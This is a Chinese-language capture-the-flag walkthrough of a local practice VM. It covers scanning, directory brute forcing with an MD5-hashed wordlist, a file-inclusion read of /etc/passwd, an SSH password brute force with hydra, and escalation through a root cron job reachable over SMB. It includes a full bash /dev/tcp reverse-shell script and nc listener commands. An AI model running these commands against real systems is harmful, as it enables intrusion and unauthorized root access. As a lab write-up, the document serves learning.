信息收集阶段
1.1 IP信息收集
arp-scan -l
,获取到IP:192.168.137.180
1.2 端口信息收集
nmap -T4 -A 192.168.137.180
开放了22
,80
端口
1.3 CMS识别
whawtweb -v http://192.168.137.180
。
可以发现当前的服务器并没有使用什么CMS系统。
1.4 目录扫描
dirb http://192.168.137.180
同样的,也没啥。。访问Web站点试试
漏洞利用阶段
点击跳转到一张地图上,经过查阅大佬的笔记才发现提示隔这儿:
从提示中可以得知一个关键的信息:MD5
。那是否可能目录需要使用的是MD5
而不是普通的字典?
将字典内的内容转化:
for i in $(cat /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt); do echo $i | md5sum >> dir.txt; done
去除多余的空格与 -
cat dir.txt | tr -d ' -' > dir
爆破目录:
gobuster dir -w ./dir -u http://192.168.137.180 -x php,html,txt,zip,bak
访问该文件之后发现页面为空白,可能需要接受参数??
爆破参数:wfuzz -c -w /usr/share/dirb/wordlists/big.txt --hw 0 -u http://192.168.137.180/f66b22bf020334b04c7d0d3eb5010391.php/?FUZZ=/etc/passwd
获得参数:purpose
。使用curl命令能发现存在一个用户:freddie
由于网页中的提示MD5
,并不确定该用户的密码是明文还是加密之后的md5,所以使用两种方式爆破,一种明文,一种密文。
hydra -l freddie -P ./dir ssh://192.168.137.180
获得密码:61a4e3e60c063d1e472dd780f64e6cad
使用ssh’登录:ssh freddie@192.168.137.180
,密码:61a4e3e60c063d1e472dd780f64e6cad
进入之后发现存在一个user.txt
文件,cat之后发现是flag1
原本是想用sudo -l查看用户能以root身份执行啥命令的,最后发现连sudo都没得,,
拿到shell之后基本就该考虑提权的事了,上传了一个sh脚本查看当前的内核是否存在漏洞。
当初看到这俩CVE的时候可把孩子高兴坏了,但是最后拿到脚本运行之后好像都不能成功提权o.O..
看看机器上还有哪些开放的端口啥的
使用ss -tuln
查看本机开放的端口。
-t:表示仅显示 TCP 套接字连接信息。
-u:表示仅显示 UDP 套接字连接信息。
-l:表示仅显示监听状态的套接字连接信息。
-n:表示以数字格式显示地址和端口,而不进行主机名和服务名的解析。
能够发现本机上其实还开放了一个445端口,SMB共享服务
使用工具pspy64s
查看当前机器上是否有啥定时任务
好像是每隔一段时间都会以root的身份去执行这个文件夹的文件,想着直接在该文件夹下写入一个反弹shell的脚本,可是没有权限。。那么只有使用smb向里面写入一个反弹shell的脚本了
使用smbclient -L 127.0.0.1
获得共享文件夹:grotesque
使用Kali编写一个反弹shell的脚本:
#!/bin/bash
ATTACKER_IP="192.168.137.130"
ATTACKER_PORT="7777"
/bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1
将该shell.sh脚本上传至目标机的/tmp目录下。因为该目录任何用户可读可写可执行的。
由于我的Kali安装了phpstudy,所以就不需要python来开启http服务了,以下的靶机的操作
cd /tmp
wget http://192.168.137.180/shell-3.sh
smbclient //192.168.137.180/grotesque
put shell.sh
Kali操作:
nc -lvvp 7777
等待靶机的定时任务运行即可提权至root
(我的Kali貌似出了点问题-. - 无法接受反弹的shell
无论的php还是sh啥的都接收不到
师傅们有没有啥招啊-. -)